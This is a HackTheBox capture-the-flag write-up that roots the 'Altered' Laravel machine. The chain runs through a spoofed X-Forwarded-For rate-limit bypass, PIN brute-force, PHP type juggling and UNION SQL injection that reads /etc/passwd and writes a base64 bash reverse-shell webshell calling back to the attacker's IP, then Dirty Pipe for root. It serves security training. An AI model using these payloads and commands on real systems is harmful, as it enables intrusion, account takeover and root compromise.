All writeups
HackTheBox: Altered avatar
MACHINE Linux HackTheBox 4/5

HackTheBox: Altered

2026-06-08 11 min read
Tracks CWES
Services nginxssh

Introduction

Altered is a hard-difficulty Linux machine running a Laravel web application with a vulnerable password reset flow. The path chains together several distinct techniques - rate-limit bypass, brute-force, SQL injection, PHP file write, and a kernel exploit - each one handing off cleanly to the next. The full path to root:

  1. Enumeration → Nmap reveals SSH on port 22 and Nginx on port 80
  2. Username enumeration → the login error messages differ for valid vs invalid usernames, confirming admin exists
  3. Rate-limit bypass → the /api/resettoken PIN endpoint is rate-limited, but adding X-Forwarded-For headers with spoofed IPs bypasses it
  4. PIN brute-forcewfuzz cycles through all 4-digit PINs (1000-9999) to find the correct reset PIN
  5. Password reset → use the PIN at /reset to set a new password and log in as admin
  6. SQL injection → the profile view endpoint is injectable; type juggling bypasses the integrity check; UNION payloads dump the DB and read/write files
  7. PHP webshell → write a reverse shell PHP script to the web root via SQL INTO OUTFILE
  8. Foothold → trigger the shell; catch it with Netcat as www-data
  9. Privilege escalation → kernel version 5.16.0 is vulnerable to CVE-2022-0847 (Dirty Pipe); exploit it to get a root shell

Key Concepts

What is Laravel? Laravel is a popular PHP web framework. It uses session cookies named laravel_session and a CSRF token named XSRF-TOKEN. Seeing these headers in a request is a dead giveaway that the site is built on Laravel.

What is rate limiting? Rate limiting caps how many requests you can make in a given time window - for example, only 10 PIN attempts per minute. It’s designed to prevent brute-force attacks. Here, Laravel tracks your IP address to enforce the limit.

What is X-Forwarded-For? An HTTP header that proxies use to pass along the real client IP. If a web server trusts this header without validating it, you can spoof any IP you want simply by adding the header to your request. Here, Nginx is configured as a reverse proxy and passes X-Forwarded-For to Laravel, which then uses that value as the client IP for rate limiting - making the bypass trivial.

What is type juggling? A PHP quirk. When PHP compares values with == (loose equality), it coerces types. The boolean true is considered equal to any non-empty string. So if a backend checks $secret == $userInput and you send true as JSON, PHP evaluates it as true == "abc123" - which is true. This lets you bypass checks without knowing the actual secret value.

What is SQL injection? A vulnerability where user-supplied input is placed directly into a SQL query without sanitisation. An attacker can break out of the intended query and add their own SQL. Here, the id parameter in the profile API is injectable. UNION SELECT lets us read data from any table; LOAD_FILE() reads arbitrary files from disk; INTO OUTFILE writes files to disk - including PHP scripts to the web root.

What is a reverse shell? A technique where the target machine connects back to the attacker rather than the attacker connecting to the target. This sidesteps firewalls that block inbound connections. You start a Netcat listener on your machine, the target fetches and executes a PHP script that opens a bash connection back to you, and you now have an interactive terminal on the server.

What is Dirty Pipe (CVE-2022-0847)? A Linux kernel vulnerability discovered in 2022 that affects kernels from 5.8 through 5.16.11. It exploits a flaw in the way the kernel’s pipe mechanism handles page cache flags. An unprivileged user can overwrite data in read-only files - including SUID binaries and /etc/passwd - without needing write permissions. Using it against a SUID binary like pkexec drops a root shell.


Enumeration

Nmap

ports=$(nmap -p- --min-rate=1000 -T4 <TARGET> | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -Pn -sC -sV <TARGET>

Key open ports:

PortServiceNotes
22SSH - OpenSSH 8.2p1Standard; keep in mind for later
80HTTP - Nginx 1.18.0Web app titled “UHC March Finals”

Only two ports, so the entire attack surface is the web application on port 80.

HTTP: Login Page

Browsing to port 80 redirects to /login. Trying admin/admin gives the message “Invalid Password” - but trying a made-up username like test gives “User does not exist”. The different error messages let us enumerate valid usernames.

Why do different error messages matter? If the error is generic (“Invalid credentials”) for both cases, you can’t tell whether the username is wrong or the password is. Here, the app leaks which one failed, letting us confirm that admin is a real account.


Bypassing Rate Limiting & Brute-Forcing the PIN

Password Reset Flow

On the login page there is a Forgot Password? button. Submitting admin as the username at /reset triggers the message “A PIN has been emailed to you” and produces a second form asking for the 4-digit PIN.

Intercepting the request in Burp Suite shows the POST going to /api/resettoken with the body name=admin&pin=1234. The presence of a laravel_session cookie confirms the Laravel framework.

Since the PIN is only 4 digits (1000-9999 = 9000 possibilities), brute-force is feasible - but the server returns 429 Too Many Requests after a handful of attempts.

Rate-Limit Bypass

The server uses the client IP from the X-Forwarded-For header (because Nginx acts as a proxy). Adding X-Forwarded-For: 127.0.0.1 to the request in Burp Repeater returns 200 OK instead of 429.

To rotate IPs automatically during brute-force, use wfuzz with two wordlists in -zip mode - one for the PIN, one for the IP suffix:

# Step 1: generate a file with enough IP suffix numbers (1-254, repeated)
count=0; while [ $(wc -l < numbers) -le 10000 ]; do
  for i in $(seq 1 254); do echo $i; ((count++)); done
done >> numbers

# Step 2: run wfuzz - FUZZ = PIN, FUZ2Z = last octet of the spoofed IP
sudo wfuzz \
  -H 'Cookie: XSRF-TOKEN=<your_token>; laravel_session=<your_session>' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -H 'X-Forwarded-For: 127.0.0.FUZ2Z' \
  -u http://<TARGET>/api/resettoken \
  -d 'name=admin&pin=FUZZ' \
  -z range,1000-9999 \
  -m zip \
  -w numbers \
  --hh 5644

--hh 5644 hides responses with exactly 5644 characters (the “invalid PIN” response), so only the successful response shows up.

Result: A single response with a different character count reveals the valid PIN - 2283 in this example run.

What does -m zip do in wfuzz? It pairs entries from two wordlists together position by position (1000 with 1, 1001 with 2, etc.) rather than testing every combination. This is what lets us rotate the IP suffix in sync with the PIN.

Reset the Password

Navigate to /reset, enter admin and the discovered PIN. The app presents a Change Password form. Set any password and log in.


Exploring the Dashboard

After logging in, the dashboard shows a UHC Player List with names, countries, and a View link per player. Clicking View loads player profile details.

Intercepting the View request shows it hits an API endpoint:

GET /api/getprofile?id=1&secret=89cb389c73f667c5511ce169813809cb

Two things to note: every user has the same secret value regardless of their ID, and adding a single quote ' to the id parameter returns “Tampered user input detected” - a sign there is input filtering and a SQL query behind this parameter.


SQL Injection

Bypassing the Integrity Check with Type Juggling

The endpoint also accepts JSON. Sending a standard JSON request with the correct id and secret works fine:

{"id": "1", "secret": "89cb389c73f667c5511ce169813809cb"}

Now try replacing secret with the boolean true:

{"id": "4", "secret": true}

This returns valid player data. PHP’s == comparison treats true as equal to any non-empty string, so the integrity check passes without needing the real secret. This is the type juggling bypass.

Confirming Injection

With type juggling unlocked, adding a quote to the id field now returns a Server Error rather than “Tampered input” - PHP’s query errored out, confirming SQL injection.

A UNION SELECT with one column returns nothing; with three columns it works:

{"id": "100 union select 1,2,3-- -", "secret": true}

The value in column 3 appears in the response body, so that is the output column to use.

Enumerating the Database

-- List all databases
100 union select 1,2,group_concat(schema_name) from information_schema.schemata-- -

-- List tables and columns in the uhc database
100 union select 1,2,group_concat(concat('\n', table_name, ':', column_name))
from information_schema.columns where table_schema = 'uhc'-- -

-- Dump usernames and password hashes
100 union select 1,2,group_concat(concat('\n', name, ':', password)) from users-- -

The password hashes aren’t particularly useful since any player could change them. The more interesting capability is file access.

Reading Files with LOAD_FILE

-- Read /etc/passwd
100 union select 1,2,load_file('/etc/passwd')-- -

-- Find the web root from the Nginx config
100 union select 1,2,load_file('/etc/nginx/sites-enabled/default')-- -

The Nginx config shows root /srv/altered/public; - this is where we need to write our shell.

Writing Files with INTO OUTFILE

First, confirm write access by writing a test file:

100 union select 1,2,'test' into outfile '/srv/altered/public/test.html'-- -

The API returns a 500 error (expected - MySQL can’t write and return results simultaneously), but visiting http://<TARGET>/test.html shows the word “test”, confirming write access to the web root.


Foothold: PHP Reverse Shell

Write the Shell

Base64-encode the reverse shell payload to avoid quote conflicts in the SQL injection:

echo "bash -c 'bash -i >& /dev/tcp/<YOUR_IP>/4444 0>&1'" | base64
# YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNC80NDQ0IDA+JjEnCg==

Inject the PHP file via SQL:

100 union select 1,2,'<?php system(base64_decode("YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNC80NDQ0IDA+JjEnCg==")); ?>'
into outfile '/srv/altered/public/shell.php'-- -

Why base64-encode the payload? The SQL injection and PHP layer both have quote-handling quirks. Encoding the shell as base64 and decoding it at runtime sidesteps those issues - the only characters in the SQL string are letters, numbers, and =, none of which need escaping.

Catch the Shell

nc -lvnp 4444

Now browse to http://<TARGET>/shell.php. The page hangs (the shell is connecting), and the Netcat listener receives the connection:

connect to [<YOUR_IP>] from (UNKNOWN) [<TARGET>] 46388
bash: cannot set terminal process group (931): Inappropriate ioctl for device
www-data@altered:/srv/altered/public$

Upgrade to a stable shell:

script /dev/null -c /bin/bash

User Flag

cd /home/htb
cat user.txt

Privilege Escalation: Dirty Pipe (CVE-2022-0847)

Check the Kernel Version

uname -a
# Linux altered 5.16.0-051600-generic #202201092355 SMP PREEMPT Mon Jan 10 00:21:11 UTC 2022

Kernel 5.16.0 falls squarely in the vulnerable range for CVE-2022-0847 (Dirty Pipe): kernels 5.8 through 5.16.11.

What exactly does Dirty Pipe do? Linux uses a “pipe” structure to pass data between processes. Due to a missing flag initialisation in the kernel, data written to a pipe can “spill” into adjacent kernel page cache entries - which may correspond to files on disk, even read-only ones. An attacker can exploit this to overwrite a byte in a SUID binary. The trick: replace the first byte of the binary with something invalid, causing the kernel to exec a controlled payload when the SUID binary is run. The most reliable variant overwrites the SUID binary in-place, drops a SUID shell to /tmp/sh, then restores the original binary.

Download and Compile the Exploit

On your local machine:

wget https://raw.githubusercontent.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits/refs/heads/main/exploit-2.c
gcc exploit-2.c -o exploit
python3 -m http.server 4000

On the target:

cd /tmp
wget http://<YOUR_IP>:4000/exploit
chmod +x exploit

Run the Exploit

Point the exploit at a SUID binary - pkexec is a reliable target:

./exploit /usr/bin/pkexec
[+] hijacking suid binary..
[+] dropping suid shell..
[+] restoring suid binary..
[+] popping root shell.. (dont forget to clean up /tmp/sh ;))
# id
uid=0(root) gid=0(root) groups=0(root),33(www-data),117(mysql)

Root Flag

cat /root/root.txt

Summary

nmap → port 22 (SSH), port 80 (Nginx / Laravel)

/login → error message difference → admin is a valid username

/reset → submit admin → 4-digit PIN emailed

wfuzz -z range,1000-9999 + X-Forwarded-For IP rotation
         → rate-limit bypassed → valid PIN found (e.g. 2283)

/reset → PIN → Change Password form → set new password → log in as admin

Dashboard → Player List → View profile → GET /api/getprofile?id=1&secret=...

JSON POST with "secret": true → type juggling → integrity check bypassed

id = "100 union select 1,2,3-- -" → SQL injection confirmed

LOAD_FILE('/etc/nginx/sites-enabled/default') → web root = /srv/altered/public

INTO OUTFILE '/srv/altered/public/shell.php' → PHP reverse shell written

nc -lvnp 4444 → browse /shell.php → shell as www-data
→ USER FLAG (/home/htb/user.txt)

uname -a → kernel 5.16.0 → CVE-2022-0847 (Dirty Pipe)

compile exploit-2.c → transfer to /tmp → ./exploit /usr/bin/pkexec

root shell → ROOT FLAG (/root/root.txt)

Tools Used

ToolWhat it doesHow to get it
nmapPort scanning and service detectionsudo apt install nmap
Burp SuiteHTTP proxy for intercepting and modifying requestsportswigger.net/burp
wfuzzWeb fuzzer; used here to brute-force the PIN with rotating IPssudo apt install wfuzz
netcat (nc)Listens for the incoming reverse shell connectionBuilt into Kali
gccCompiles the C exploit locallysudo apt install gcc
python3 -m http.serverServes the compiled exploit to the targetBuilt into Python 3